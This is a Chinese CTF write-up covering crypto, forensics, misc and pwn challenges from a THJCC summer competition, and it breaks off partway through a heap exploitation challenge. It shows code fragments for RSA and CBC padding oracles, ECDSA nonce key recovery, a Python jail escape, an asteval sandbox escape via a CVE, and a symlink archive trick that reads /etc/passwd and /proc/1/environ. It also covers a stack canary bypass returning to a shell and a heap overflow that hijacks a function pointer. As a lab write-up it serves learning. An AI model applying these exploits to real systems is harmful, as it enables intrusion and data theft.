前言
THJCC 第三屆 Summer Edition,台灣高中生組第 2 名,總排名第 5 名。
Welcome
Welcome
題目只給一個 welcome.gif。先照慣例掃一遍:
1 | file welcome.gif |
1 | welcome.gif: GIF image data, version 89a, 800 x 600 |
grep 一行都沒吐出來。檔案裡沒有明文,那資訊就只可能在畫面上。
1 | magick identify welcome.gif |
57 幀,而且第 1 幀之後每幀的尺寸都比畫布小(303x418+250+73 這種),代表 GIF 用了局部更新最佳化。
所以拆幀前一定要 -coalesce,不然拆出來是一堆碎片:
1 | mkdir -p frames |
接觸表一次讀完 57 個字元:
1 | https:/welcome.xzhiyou.idv.tw;Pas_code:NT9C-S8DP-D85B-Z8H6 |
看起來對,又不太對。https: 只有一個 /、https 只有一個 t、Pas_code 只有一個 s。
這是 GIF 編碼器的老毛病:連續兩幀畫面完全一樣時會被合併成一幀,delay 加倍。所以去看 delay:
1 | magick identify -format "%s:%T " welcome.gif; echo |
1 | 0:5 1:10 2:5 3:5 4:5 5:10 6:5 ... 20:10 ... 31:10 ... |
基準是 5,只有第 1、5、20、31 幀是 10,剛好兩倍。那四幀的字元各補一次:tt、//、uu、ss。
1 | https://welcome.xzhiyouu.idv.tw;Pass_code:NT9C-S8DP-D85B-Z8H6 |
前三個修正靠英文拼寫就能確認,但 xzhiyouu 那個 uu 沒辦法用拼字驗證,所以直接查 DNS:
1 | host welcome.xzhiyou.idv.tw |
1 | Host welcome.xzhiyou.idv.tw not found: 3(NXDOMAIN) |
一個 NXDOMAIN、一個解得出來,那就沒懸念了。網站有 Cloudflare Turnstile,curl 送表單會被擋,
所以要用瀏覽器開,輸入 NT9C-S8DP-D85B-Z8H6,頁面就吐一個 Pastebin 連結出來。
1 | curl -s https://pastebin.com/raw/DUxM02Gp |
THJCC{w3lc0me_t0_tHjCc_CTF_sUmM3r_ed1ti0n}
Feedback Form
填表單!!! 送出之後確認頁直接給 flag。
THJCC{3rd_Summ3r_3d1710n_c0mpl3t3_th4nk5_4ll}
Crypto
A Million Messages
題目只有 nc chal.thjcc.org 12003,連上去先看它自己講什麼:
1 | N a5ae51529324d7c804fc13bef659f819262098a836d6f488cfd00492dccfb32e... |
512-bit RSA、e = 65537、一段密文,然後連線不關、在等我送東西。送十六進位進去只會回 OK 或 BAD。
先試試兩個最直覺的假設:列舉百萬級候選明文,沒中;蒐集 818 個模數兩兩取 GCD 找共用質因數,也沒中。
兩條路都排除掉之後,做了一個決定性的實驗:把伺服器自己給的密文原封送回去。
回應是 OK。
那就清楚了:輸入被當成密文解析,OK 的意思是「解密後的 PKCS#1 v1.5 padding 合法」。
這是 Bleichenbacher padding oracle,而題名 “A Million Messages” 正是這個攻擊的別名
(million message attack,因為原始論文大概要一百萬次查詢)。
OK 等價於 2B ≤ m < 3B(B = 2^496),配合 RSA 的乘法性質,選定的 s 就變成對 m 的區間限制,
剩下就是 Bleichenbacher 1998 那套持續取區間交集直到塌縮成單一值。
實作上最痛的是速度。單筆一來一回只有每秒 24 次,改成一次 pipeline 2000 筆之後拉到 110–690 次,
再平行跑四個 session 對抗那個沒有記憶的 2^16 搜尋:
1 | def query_batch(self, cs): |
主迴圈就是標準的三個 case(i == 1 起手、多區間時遞增、單區間時用 r 直接算範圍),
每輪縮完 M 就印一次區間寬度:
1 | M = [(B2, B3 - 1)] |
3,139 次查詢、125 秒收工。剝掉 00 02 || PS || 00 就是明文。
THJCC{bl31chenb4ch3r_st1ll_3ats_pkcs1_v1_5}
Forbidden
沒有原始碼,但介面本身就把漏洞講完了:同一個 nonce 底下給三組 AES-GCM 的明文/密文/tag,
然後要我提交 give me the flag 的密文與有效 tag。AES-GCM nonce reuse,兩個部件一起爛。
加密端是 AES-CTR,同金鑰同 nonce 就是同一段 keystream,所以一組已知明文/密文就能還原 keystream:
1 | plaintext, ciphertext, tag = records[0] |
驗證端是 GHASH,同 nonce 代表同一個 tag mask。把三組 (密文, tag) 各自寫成一條以 H 為未知數的多項式,
兩兩相減消掉 tag mask,再取 GCD 就會塌成一次式,常數項就是 H:
1 | def record_polynomial(ciphertext: bytes, tag: bytes) -> list[int]: |
GF(2^128) 的乘法、求逆、多項式除法全部自己寫,reduction 常數是 GCM 那顆
0xE1000000000000000000000000000000。拿到 H 之後偽造 tag:
1 | tag_mask = int.from_bytes(tag, "big") ^ ghash(ciphertext, authentication_key) |
全程沒有破解 AES,也沒拿到 AES 主金鑰,只是重用 nonce 就同時把機密性跟完整性一起送掉。
THJCC{h_r3c0v3r3d_gcm_1s_f0rb1dd3n_w1th0ut_fr3sh_n0nc3s}
Lattice of Doom
題目模擬一款硬體錢包韌體,output.json 裡有 60 組 ECDSA 簽章跟一段用私鑰導出金鑰加密的 flag。
洩漏出來的韌體片段講得很誠實:
1 | # The chip's TRNG hands us 8 bits at a time and the read is slow, so we |
不,這完全不 fine。ECDSA 對 nonce 的要求從來不是「夠大」,而是在 [1, n−1] 上均勻分布。
29 bytes 代表每個 nonce 的最高 24 bits 恆為 0,這是結構性偏差,不是搜尋空間問題。
把簽章方程式重排:
1 | s = k^(-1) · (h + r · d) (mod n) |
這就是隱藏數問題(HNP)。展開模運算後是 61 個未知數、60 條方程的欠定整數線性組合,
再加上「所有 k_i 都很小」,私鑰就對應到一個 62 維格中的最短向量。
先估一下這格會不會做:
1 | python3 -c " |
1 | log2(GH) = 252.0 |
目標向量比 Gaussian heuristic 短 18 bits,LLL 該找得到。建格的時候整體乘 N 保持整數,
u_i 再置中一次(u_i − K/2)把目標長度砍半:
1 | K = 1 << 232 # NONCE_BYTES = 29 → 232 bits |
output.json 的 kdf 欄位直接寫了加密方式,所以解 flag 沒什麼懸念:
1 | key = hashlib.sha256(b"wallet-v1|" + d.to_bytes(32, "big")).digest()[:16] |
1 | [*] reducing 62x62 lattice ... |
0.42 秒。事後回去驗算 60 個 nonce,最大位元長度剛好 232。
THJCC{l4tt1c3s_turn_b14s3d_n0nc3s_1nt0_pr1v4t3_k3ys}
Nonce Sense
nc chal.thjcc.org 12001 給一把 EC 公鑰、兩則已簽章訊息,第三則 admin=true;action=release_flag
要我自己簽。每條連線只能提交一次,所以偽造得離線做完、一次命中。
公鑰滿足 y² = x³ + 7,實測確認是 secp256k1,摘要是 SHA-256(m) mod n。
然後看兩個給定簽章,r 一模一樣。
r = (k·G).x 只取決於 nonce,相同的 r 就是相同的 k。兩條簽章方程式相減消掉 r·d:
1 | def recover_key(Q, sig1, sig2): |
拿到 d 之後隨便挑個 nonce 簽目標訊息,本地驗過再送:
1 | r, s = sign(d, target, 0x1337) # any nonce works once we own the key |
1 | [*] curve check (secp256k1): True |
這就是 2010 年 Sony PS3 程式碼簽章金鑰外洩、2013 年 Android Bitcoin 錢包被掏空的同一個 bug。
THJCC{n3v3r_3v3r_r3us3_th3_s4m3_n0nc3}
Oracle of Padding
伺服器發一個 112 位元組的 session token,我送回去它只回 OK 或 BAD。
112 = 7 × 16,所以是 AES-CBC:1 個 IV + 6 個密文區塊。
先做兩個對照:破壞 IV → 仍然 OK;破壞最後一個明文位元組 → BAD。
它唯一在檢查的就是 PKCS#7 padding。經典 padding oracle。
逐一翻轉倒數第二個區塊的每個位元組,OK/BAD 的分界落在索引 6,所以 padding 是 10 位元組、
真實內容 86 位元組。金鑰是每連線一組(舊 token 在新連線立刻失效),整個攻擊必須在單一連線內打完。
關鍵原語是送自選的 R || C:此時解密結果變成 I XOR R,完全受控,每 256 次查詢問出中間值一個位元組。
為了塞進時限,六個區塊同步推進、查詢全部 pipeline:
1 | for pad in range(1, BS + 1): |
pad == 1 會有偽陽性(例如湊出 \x02\x02),所以多送一輪把左邊那個位元組打壞再測一次:
1 | if pad == 1: |
24,576 次查詢壓縮成 16 次網路來回。最後 P_i = I_i XOR C_{i-1} 就還原完整明文。
AES 一根寒毛都沒掉,被打爛的是它旁邊那個多說了一句實話的錯誤回報。
THJCC{p4dd1ng_0r4cl3s_l34k_0n3_byt3_p3r_qu3ry}
Schizophrenic Signer
題敘寫「讓隨機數在兩個不同的世界中反覆跳躍,難道不是最安全的做法嗎?」,不是。
nc chal.thjcc.org 11451 給 85 組 ECDSA 簽章,而且大方印出 nonce 產生器的 LCG 參數 a 跟 b。
第一個錯誤:參數公開的 LCG 是確定性展開器,不是隨機源。85 個 nonce 只是同一個秘密 seed 的已知一次函數。
第二個錯誤藏得深一點:產生器在模 p 下運作,簽章卻在模 q 下消費它的輸出。
出題邏輯大概覺得「換一個模數」能切斷結構。但 p − q ≈ 2^129 而 p ≈ 2^256,
所以 % q 這個約化以 1 − 2^-128 的機率是恆等映射。也就是說每個 k_i 同時滿足兩條精確同餘式:
1 | k_i = gamma_i * k_0 + lambda_i (mod q) <- from the ECDSA equations |
CRT 一合,第二個模數不但沒藏住任何東西,反而讓每個 nonce 受到的約束加倍:
1 | def crt(rq, rp): |
剩下就是一個 14 維的格,LLL 大概 0.01 秒回來:
1 | IM = IntegerMatrix.from_matrix(M) |
12 組簽章其實用不到,2 組就夠,剩下的純粹是免費的餘裕。
THJCC{w0w_y0u_f0und_th3_h1dd3n_d3lt4_b3tw33n_p_4nd_q!}
Two Exponents
README.md 說同一份備忘錄用 e1 = 111、e2 = 39 在同一個模數 n 下加密,
還很好心地提醒先檢查 gcd(e1, e2)。
gcd(111, 39) = 3。不是 1,所以不存在 111a + 39b = 1,經典共模數攻擊直接卡住。
但擴展歐幾里得還是給了 6·111 + (−17)·39 = 3,把兩條方程提升到這對貝祖係數再相乘:
1 | c1^6 · c2^(−17) = m^3 mod n |
負指數用模反元素做,Python 三參數 pow 直接吃:
1 | def signed_modular_power(base: int, exponent: int, modulus: int) -> int: |
拿到的是 m^3,不是 m。但 flag 相對於 1023 位元的模數很短,m^3 根本沒超過 n,
模約減從來沒發生過,所以直接開整數立方根就好:
1 | plaintext, exact = integer_nth_root(plaintext_power, gcd) |
二分搜尋回來 root^3 == m_cubed 成立,轉回 bytes 就結束。
1 | gcd(e1, e2) = 3 |
THJCC{n0t_c0pr1m3_but_st1ll_br0k3n_4nyw4y}
お昼はサイゼリヤに行こうニャ!
這題最有份量。題目給一支當年產表用的 gen_table.py、一張 8 MB 的 nyan.tbl、五個住戶的
shadow.txt,以及 flag.enc。題敘說便條紙上寫的四個 seed 被貓捲起來抽掉了。
先讀 gen_table.py。參數區就把規模講清楚了:
1 | CHARSET = "yaniko" |
3,188,646 × 24,576 = 78,364,164,096 = 6^14,鏈的總步數剛好等於整個密語空間。這張表覆蓋 100%。
然後 reduction 長這樣:
1 | def reduce_at(h: bytes, i: int) -> str: |
第二行的 i 就是「彩虹表」跟普通 Hellman 表的分野:每一步的 reduction 都不一樣,
兩條鏈只有在同一個位置撞到才會合併。代價是反查時我不知道目標位在第幾步,得把每個 t 都試一遍。
note.png / note.txt 直接送了 K4 = 10.8 万 = 108000,未知數從 4 個降成 3 個年紀。
問題是怎麼驗證候選的 K?這題的關鍵洞見在這裡:
第 0 條鏈的起點是固定的 idx_to_pw(0) = "yyyyyyyyyyyyyy",而它的終點值就寫在檔案最前面那 21 bits。
等於題目免費附贈一個「走一條鏈 = 24576 次雜湊」的種子驗證預言機。21 bits 的比對,
錯誤 K 撞上的機率是 1/1,679,616,掃 99^3 ≈ 97 萬 個候選預期誤報 0.58 個,夠乾淨。
先測純 Python 一個候選要多久:
1 | time python3 -c " |
1 | 終點密語 = niokiyiknakyyy pw_to_val = 1264664 |
0.57 秒 × 970,299 = 154 小時。純 Python 出局,移植到 C:
1 | static inline uint64_t yani40(const uint8_t *msg) { |
12 執行緒開下去:
1 | clang -O3 -march=native -o brute brute.c -lpthread |
1 | FOUND K1=21 K2=20 K3=24 K4=108000 |
70 秒。21、20、24 歲,跟「這棟樓的房客」的敘述對得上,這是數學之外的合理性佐證。
第二階段是反查。對 t = 24575 … 0 逐一假設步數,用位置相依的 reduction 走鏈到終點、
查桶狀索引、重建候選鏈驗證。因為五個目標密語按建構方式必定落在表涵蓋的鏈上,反查保證成功:
1 | def pick_targets(K, rng): |
40 秒跑完,五個明文密語到手。最後 flag 的金鑰是 sha256("|".join(plaintexts)),
依 RESIDENTS 順序(含便條紙上沒出現的 kaoruko),而且 flag.enc 前 16 bytes 是 HMAC tag,
可以在解密前就確定金鑰對不對:
1 | plaintexts = [pws[u] for u in g.RESIDENTS] |
1 | yaniko yaayniiakyiiyo -> 37cd393a46 OK |
tag 通過是確定性的證據,不是「看起來像 flag」。
THJCC{46Z-WQv_vFc}
Forensics
Afterimage2
「不明纜線」接在工作站上,抓了原始流量。解開就是一份 USB 擷取檔:
1 | capinfos usb_capture.pcap |
1 | Number of packets: 50 |
50 個封包、0.735 秒,協定階層裡除了 usb 什麼都沒有。這種又短又規律的序列就是逐次送 HID report。
把 payload 撈出來看:
1 | tshark -r usb_capture.pcap -T fields \ |
1 | 1 1 8 0200170000000000 |
標準的 8-byte USB HID 鍵盤 report:第 1 位元組是修飾鍵位元遮罩、第 2 位元組保留、
第 3~8 位元組是同時按下的 keycode。全零那些是放開事件,丟掉之後剩 25 筆。
1 | output = subprocess.check_output( |
修飾鍵 0x02(左 Shift)決定大小寫,以及 {、_、} 這些符號。25 個字元剛好一個 flag,
而且每個字元都能對到一個實際擷取到的 report。
1 | THJCC{hid_k3y5tr0k3_l34k} |
THJCC{hid_k3y5tr0k3_l34k}
Man!
一張牢大的梗圖。
先逐 chunk 解析 PNG:
1 | python3 -c " |
1 | 8 b'IHDR' 13 |
IEND 後面還有 229 個位元組。切出來以 PK 開頭,是附在檔尾的加密 ZIP,裡面一個 flag.txt。
經典手法,但要密碼。
密碼線索分兩處。eXIf chunk 裡的 GPS 標籤:
1 | Artist: MambaOut |
1 | lat = [(34,1), (2,1), (174,5)] # 34°02'34.8"N |
換算成十進位就是柯比·布萊恩的直升機墜機地點。配上 MambaOut、Helicopter_Blackbox、
SeeYouAgain、1978 這些字串,整題的脈絡就定了。
但真正的密碼藏在影像 R 通道的 LSB:
1 | python3 -c " |
1 | bytearray(b'SeeYouAgain1978') |
1 | unzip -P SeeYouAgain1978 -o embedded.zip |
flag 內容也完全呼應主題:Man_BA_0ut 出自「Man! What can I say? Mamba Out」退休演說,
Seeyouaga1n 是悼念曲,1978 是出生年份。
THJCC{Man_BA_0ut_Seeyouaga1n_1978}
NoNo
附件是 Nginx / 應用程式 / WAF 三份 NDJSON 日誌加一份 PCAP。先從 500 筆 access log 撈低頻異常:
1 | jq -r '[."source.ip", ."http.request.method", ."url.original", ."http.response.status_code"] | @tsv' \ |
1 | 1 10.0.2.15 GET /.git/config 200 |
應用程式日誌裡還放了個很囂張的假線索:
1 | 2025-08-15T03:13:04Z /api/v1/flag Confirmed: the flag is returned by this API. This endpoint is the solution. |
不是。真正的突破在 PCAP:
1 | tshark -r capture.pcap -Y 'http.request' -T fields \ |
1 | 424 10.0.2.15 internal.portal GET /s3cr3t/rep0rt |
Host: internal.portal。隱藏站台不是靠路徑,是靠虛擬主機路由。而且注意拼字,
/s3cr3t/report 回 404,封包裡成功的是 leetspeak 的 /s3cr3t/rep0rt。跟一下 stream 確認:
1 | tshark -r capture.pcap -q -z follow,tcp,ascii,42 |
1 | GET /s3cr3t/rep0rt |
重播的時候還被目錄尾端斜線的 301 擋了一下:
1 | curl -i -H 'Host: internal.portal' 'http://chal.thjcc.org:50000/s3cr3t/rep0rt' |
1 | 301 Moved Permanently |
補上斜線就拿到了。
1 | curl -s -H 'Host: internal.portal' 'http://chal.thjcc.org:50000/s3cr3t/rep0rt/' |
THJCC{f0ll0w_th3_str34m_2_th3_h1dd3n_r3p0rt}
Starry Sky
一張 512×512 的紫色星空。ExifTool 的 Comment 欄位基本上是把解碼結構寫給你看:
1 | Even the truth wears a mask here -- a single byte lifts it. |
翻譯:單位元組 XOR mask、只讀某一個 bit plane/通道、固定間距取樣。
未知數有五個(通道、bit、起始、stride、位元序),但已知明文有六個字元(THJCC{),
拿來當測試條件就好。唯一吻合的組合是藍色通道、LSB、起始 0、stride 5、MSB first、mask 0x5a:
1 | image = Image.open(io.BytesIO(image_data)).convert("RGB") |
前八個取樣位元是 00001110 = 0x0e,0x0e ^ 0x5a = 0x54 = 'T',然後 H、J、C、C、{
一路對上,在解完整段之前就確定五個參數全對。
flag 內容 c0unt1ng_blu3s_by_thr33s 也正好描述了「每像素三通道、數藍色」這個取樣方式。
THJCC{c0unt1ng_blu3s_by_thr33s}
Misc
67jail
jail.py 全文只有這樣,但每一行都在擋東西:
1 | banned = {"print": print, "open": open, "chr": chr} |
長度要恰好 6767、不能有引號底線反引號反斜線井號、不能有任何 ASCII 英數字、分號至多一個,
而且任何「本身是 identifier 且 NFKC 正規化後等於自己」的字元都會被拒。
最後那條就是繞過點。Unicode 數學無襯線粗體(U+1D5BA 區段)的 isidentifier() 是 True,
但 NFKC 會把 𝗉 正規化成 p,所以 normalize(c) == c 為 False,順利通過。
而 Python 的 exec() 在解析語法樹時本來就會對 identifier 做 NFKC 正規化,
於是 𝗉𝗋𝗂𝗇𝗍、𝗈𝗉𝖾𝗇、𝖼𝗁𝗋、𝗋𝖾𝖺𝖽 在執行期會還原成真正的名字:
1 | def to_mathematical_bold(text: str) -> str: |
字串不能用引號,所以用 chr() 逐字元建構再 + 串接。整數也不能寫(沒有 ASCII 數字),
用 (𝖼𝗁𝗋 == 𝖼𝗁𝗋) 拿到 1,再靠位元左移跟加法湊出任意 ASCII 碼:
1 | def build_number_expression(n: int, unit_expr: str) -> str: |
最後用空白補到剛好 6767(空白既不是英數也不是 identifier)送出去,伺服器就把 /flag 印出來。
THJCC{676767676767676767676767676767676767676767676767}
A Little Penguin’s Starry Sky Observation
一張 669×892 的裁切星空照,要辨識核心星座,然後交 IAU 三字小寫縮寫加赤經赤緯。
影像裡的特徵沒什麼好猶豫的:中央三顆等距等亮排成一列的腰帶三星(參宿一、二、三),
下面垂直延伸出佩劍並帶有明顯彌漫雲霧狀的 M42 獵戶座大星雲,左上是橙紅色超巨星參宿四、
右下是藍白色超巨星參宿七,右上與左下分別是參宿五跟參宿六。這組排列加顏色只可能是獵戶座。
IAU 標準縮寫是 Ori,題目要全小寫 → ori。赤經範圍約 04h43m 到 06h25m,取整數 5h;
赤緯範圍約 −10.97° 到 +22.87°,取整數 +5°。度數符號跟正號都要照格式。
1 | abbrev = "ori" |
THJCC{ori=RA5h,Dec+5°}
All night long…
題敘是「一天不聽難受 聽了難受一天 嚴肅看待」。裡面那個「看」字才是提示,這檔案要用看的。
chal.zip 裡只有一個 13.877 秒的 44.1 kHz 立體聲 WAV。4.6450 s 到 8.6971 s 之間夾了一段合成訊號,
前後用數位靜音界定。檢查後把附加資料、steghide、LSB、超音頻 payload 全部排除。
那 4 秒其實是同一段 2971 取樣點的立體聲 frame 逐位元重複 60 次:
1 | jumps = buzz_a + np.where(np.abs(np.diff(d[buzz_a:buzz_b, 0])) > 20000)[0] |
1 | [+] 61 frame boundaries, period = 2971 samples (14.844 Hz) |
左右聲道就是示波器 X/Y 模式的水平與垂直偏轉訊號。直接畫出來,完全看不懂。
原因是整個檔案的右聲道被套了延遲。在音樂段(兩聲道都是正常節目素材)量一下:
1 | a = d[music_a : music_a + 3 * FS, 0] |
1 | [+] right channel lags left by 1129 samples |
1129 取樣點,25.6 ms。用只保留 >8 kHz 的高通版本做環形互相關再驗一次,r = 0.958,確定。
光是把右聲道往前推這 1129 個取樣點,字就讀得出來了——只是整段還躺在一條斜的基線上,
筆畫之間的回掃線也全部照畫:
補回延遲、扣掉基線斜率,然後讓亮度跟光束速度成反比(真實 CRT 掃過字間空隙時就是會變暗):
1 | X = frame[:, 0] |
圖直接把兩行字畫出來:上行是旗標前綴與左大括號,下行是 δράκος},希臘文的「龍」。
ς(U+03C2)跟 σ 很容易看錯、ά(U+03AC)跟 α 也是,所以最後直接丟 CTFd API 確認接受。
THJCC{δράκος}
Baritone
一段 16.2 秒的 320 kbps MP3,ID3 只有編碼器資訊。題名「Baritone」(男中音)明擺著要看音高。
產頻譜圖,0.0 到 14.0 秒之間有 28 個各佔 0.5 秒的垂直音調區塊,每塊一個基頻加整數倍泛音。
28 個符號、一格一個字元。
編碼規則靠已知明文推:第一個音約 1047 Hz,代進 m = 69 + 12·log2(f/440) 得 MIDI 84,
正好是 ASCII 的 T。接下來 523/587/392/392 Hz 對應 MIDI 72、74、67、67 = H、J、C、C,
第六個 123 = {。所以每個字元被合成為「MIDI 音符編號等於它的 ASCII 值」的音高。
解碼有兩個坑:不能直接取全域最大峰值(MP3 壓縮會讓峰值分散,音色本身也有泛音),
而且每格開頭有 attack。所以只取穩定的 0.02–0.15 s 段、套 Hann window,
再逐一測試 MIDI 32–126 對應頻率附近 bin 的振幅取最強:
1 | for cell in range(cell_count): |
28 個結果全落在可列印 ASCII 範圍。
THJCC{DoYouHavePerfectPitch}
CTFxck
遠端只有一個 >>> 提示,回應不是 nope 就是沉默。題目附了 CTFuck 這個語言的直譯器原始碼:
程式狀態是一個位元佇列,標籤即行號,位元組以小端序輸出,佇列耗盡就是乾淨停機。
先自己實作一個本地模擬器,然後用「有輸出 vs. 無輸出」的程式對照,發現伺服器其實是把
CTFuck 程式的輸出丟給 exec。決定性的證據是送 1/0(語法合法但會拋例外)回 nope。
所以這是一個只有 1 bit 回饋的 oracle。
真正的障礙是原始碼長度上限。用被解析器忽略的 x 當填充測出來是 110 字元。
樸素編碼器每個位元組要 24 字元(1.$0.$...),只能塞 4 bytes,遠遠不夠。
改用迴圈編碼器:先把所有位元推進佇列,再用 7 個字元的迴圈把它排乾。
1 | <bits> |
. 印出佇列前端的位元、$ 丟掉它、[2|2] 無條件跳回第 2 行,而佇列空掉時這個跳躍沒有位元可測,
VM 就停機(if not queue: break)。成本降到每位元 1 字元加 8 字元框架,能塞 12 個位元組。
再利用「停機時未滿的位元組會被沖出」這個特性,把最後一個位元組尾端的 0 位元省掉,
剛好再擠出第 13 個位元組:
1 | def compile_ctfuck(payload: bytes) -> str: |
而 exec(input()) 恰好 13 個位元組,編出來剛好 110 字元。完美的跳板:
送出它之後就能從 stdin 拿到不受長度限制的任意 Python 執行能力。
1 | s.sendall(compile_ctfuck(b"exec(input())").encode() + b"\nEOF\n") |
列舉檔案系統找到 /hereisasupersecretfile/flag.txt 讀出來。flag 內容也點名了讓這一切成立的
語言特性,停機是一種控制流原語。
THJCC{h4lt1ng_1s_4_c0ntr0l_fl0w_pr1m1t1v3}
SO EZ MISC
題敘只有兩行:「Your workbook is WB.」跟「ps. The bug has no patch.」
所以:這是個運算式求值器、WB 是預先定義的物件、漏洞在某個第三方函式庫的公開 CVE
而且官方修補沒真正堵住。其他事實全部得靠線上探測。
探測結果是 asteval,而且:
1 | calc> WB.sheets['audit'].owner.session.token |
真值在 .value 屬性裡。沙箱疊了三層:對 _、[、] 的原始文字黑名單、
停用 Attribute/Subscript/Lambda 等節點的 AST 白名單,以及縮到 12 個內建函式的符號表。
唯一的例外是 f-string。asteval 的 on_formattedvalue 長這樣:
1 | fmt = '{__fstring__}' |
它把執行期求值出來的格式規格以文字方式內插回格式字串。一個含 } 再 { 的規格
就能注入一整個新的 replacement field。這正是 CVE-2025-24359,而官方修補加的 SafeFormatter
只攔 dunder 屬性名稱,注入原語、普通屬性走訪、鍵值存取全部在修補後存活。
_、[、] 用 chr() 在執行期組出來,所以送出去的位元組裡從來不會出現這些字元;
屬性走訪發生在格式化迷你語言而非 AST 中,所以白名單也管不到:
1 | def leak(c, path): |
對照組把每一步都驗過:.owner 回 auditor、summary 工作表回 no-token-for-guests、
停在 .token 則重現 ***REDACTED***。最後那條走到底就是 flag。
THJCC{CVE_2025_24359_th3_p4tch_w4s_1nc0mpl3t3:/}
TeaGod666
題敘是一大篇 AI 生成的路由器產品文案(結尾自己承認「以上是AI亂生成的,和題目無關」),
實際上是個模擬路由器管理頁面的動態實例。
前端 SPA 揭露了 /api/login、/api/session、/api/router、/api/wifi、/api/reboot,
另外還有一個韌體更新端點 /api/update/package?channel=stable。
那個更新套件的 body 是一段 base64,解碼後不是任何合法格式。但檔頭裡有個字串欄位
teashop-666,而 body 拿它做 repeating-key XOR 就解得開:
1 | data = res.content |
解出來是一份 JSON,裡面是原廠服務帳號 admin / oolong_tea_666,
還很貼心地附註「Factory service account. Rotate after first boot.」,顯然從來沒輪替過。
拿這組去登,管理介面就整個開了:
登入拿 session cookie 之後試系統日誌端點。level=info 只有一般連線紀錄,
但 level=debug 會多回一筆 DEBUG 等級的 factory_validation 事件:
1 | logs_url = f"{target_url}/api/system/logs?level=debug" |
flag 就在那筆的維護備註裡,而且是一段 YouTube 連結。
THJCC{t3ag0d666_h77p5://y0u7u.b3/Dji_wUhFPvo?si=z1B9a-4nShzop-du&t=1577}
Time Machine
「Upload your archives. Snapshot what you need. Powered by Python’s shutil.」
題敘已經把 shutil 講出來了,那就是要打它的行為。
先跑一遍正常流程確認語意:
1 | mkdir work && cd work |
然後試 symlink:
1 | ln -s /etc/passwd passwd_link |
過了。用同一招把 /app/app.py 讀回來看原始碼,驗證器長這樣:
1 | def escapes(name: str) -> bool: |
只驗每個條目的名稱,完全沒驗 symlink 條目的目標。而 shutil.unpack_archive 會在
工作目錄原樣重建 symlink;另一半原語在 snapshot:shutil.make_archive(..., "zip", ...)
打包時會解參考 symlink,把目標檔案的內容真正讀進 zip。兩者相加就是完整的壓縮檔往返任意檔案讀取。
問題是 flag 不在磁碟上,/flag、/flag.txt、/app/flag.txt 都不存在。那就去環境變數找:
1 | ln -s /proc/1/environ environ |
1 | FLAG=THJCC{th3_v3r1f13r_ch3ck3d_th3_n4m3_but_n0t_th3_l1nkn4m3} |
flag 自己把漏洞類型講完了:archive symlink attack,只檢查了 name,沒檢查 linkname。
THJCC{th3_v3r1f13r_ch3ck3d_th3_n4m3_but_n0t_th3_l1nkn4m3}
Where is our head of challenges?
一張從高樓陽台拍的都市景觀,要交拍攝位置的經緯度,四捨五入到小數點後兩位。
影像裡有三組可用線索:畫面中央一棟白色條紋商業大樓,頂部帶藍色圓形商標與 “ZURICH” 字樣、
附避雷針天線;右側是一棟黃色頂部裝飾、外牆黑白交錯網格的摩天大樓;
左側緊貼陽台的是一棟密集白色交錯陽台結構的住宅樓。
搜尋確認那棟 Zurich 大樓在澳洲墨爾本 130 Lonsdale Street,右邊的網格大樓是 350 Lonsdale Street。
在地圖的 3D 建築視圖裡比對兩棟的相對方位,拍攝者面向 130 Lonsdale Street 時,
350 Lonsdale Street 在其右側,把這條視線反向延伸,再用左側緊鄰建築的外觀交叉驗證,
拍攝點鎖定在 618 Lonsdale Street(Melbourne One)。
把三個地址標到地圖上,整條視線就一目了然——拍攝者站在 Lonsdale Street 西端的
Melbourne ONE,朝東北東沿著整條街看過去,先經過 350,最後落在 130 的 Zurich 大樓:
題目規定經度在前,所以是 144.95,-37.81。
THJCC{144.95,-37.81}
Pwn
Canary Notes
題目收兩則 note:第一則輸入完會印出一個由「隨機 token」算出來的十六進位 receipt,
第二則輸入完檢查 token 有沒有被竄改。程式沒用編譯器的 stack protector,自己實作了一個 canary,
getrandom 取 8 個位元組轉成可列印範圍當 64 位元 token。
漏洞在 receipt 的計算:
1 | printf("receipt: 0x%016lx\n", *(uint64_t*)note ^ token); |
隨機 token XOR 完全由我控制的資料再印出來。這是 known-plaintext,token = receipt XOR note_value。
細節在於兩則 note 都用 scanf("%s") 讀,而第一則的 buffer 恰好 8 位元組、token 緊接其後。
送 8 個 A 的話,結尾 NUL 會蓋掉 token 最低位元組,洩漏出來的是已經被破壞的副本。
送 7 個 A 就好:buffer 內容確定是 41×7 || 00,八個位元組全已知,token 沒被碰到。
1 | KNOWN_NOTE = b"A" * 7 |
那個 ret 是拿來修 stack 對齊的。手動完整性檢查因為 token 正確而通過,
main 返回後執行 system("/bin/sh")。
THJCC{y0u_k1ll3d_c4n4ry_y0u_b4d_b4d}
Chronicle
這題的目標不是常見的 nc 執行檔,是一台載入自製 C module 的真實 Redis 伺服器,而且附 module 原始碼。
ACL 設 nocommands 再開放 @read、scan 跟四個 chronicle.*,
CONFIG/MODULE/EVAL/所有寫入指令全擋。flag 在 /tmp/.chronicle-anchor、
FLAG 環境變數已 unset、/tmp 是 noexec,所以只有行程內的程式碼讀得到它。
漏洞在 copy_redis_string:
1 | if ((uint8_t)body_length > NOTE_CAPACITY) ... // 長度檢查用 uint8_t |
81–255 位元組被拒,256 位元組卻能通過(截斷成 0),形成一個落在 note[80](結構偏移 72)
之後的 176 位元組可控 heap 溢位。結構偏移 152 處的 completion 函式指標正好在射程內,
而 dispatch_task 由 timer 觸發 task->completion(ctx, task) 且只檢查 NULL,
覆寫完最短 10 ms 就會被自動呼叫。
另一邊,materialize_anchor 會把載入到全域的 flag 複製進 result 供 SHOW 印出,
但兩個 allocate_task 呼叫點都寫死 CHRONICLE_NOTE、IMPORT 也驗 kind 位元組,
所以它沒有任何合法可達路徑。那就用溢位打進去。
位址洩漏來自 SHOW 印出的 ticket,它是可逆的:
1 | def salt_for(task_id): |
偏移是在 redis:7.2.15-bookworm 上重建出來的,兩個符號差 0xd0。
基底沒對齊就直接中止,免得把服務打掛。
payload 是一個帶合法 FNV-1a 封條的 CHRN archive,body 剛好 256 位元組:
1 | body = bytearray(b"A" * 80) # note[80] |
本地先驗過洩漏的 base 跟 /proc/<pid>/maps 完全吻合才打遠端。10 ms timer 一到,SHOW 就吐 flag。
THJCC{D0_y0u_KN0W_7h15_15_@PWN_ch@ll3nge_WH17CH_m4d3_BY@1???}
déjà vu
程式的橫幅寫著「broadcast board – every message is shared, never copied」。
那其實是規格說明:同一個訊息物件會被多處參照,所以需要參考計數決定何時 free()。
反編譯看到 0x38 位元組的表頭:subject、本文指標、長度,以及一個只有 1 位元組的參考計數。
而 channel 上限是 512。
1 | subscribe -> `add byte [rdx+0x30], 1` |
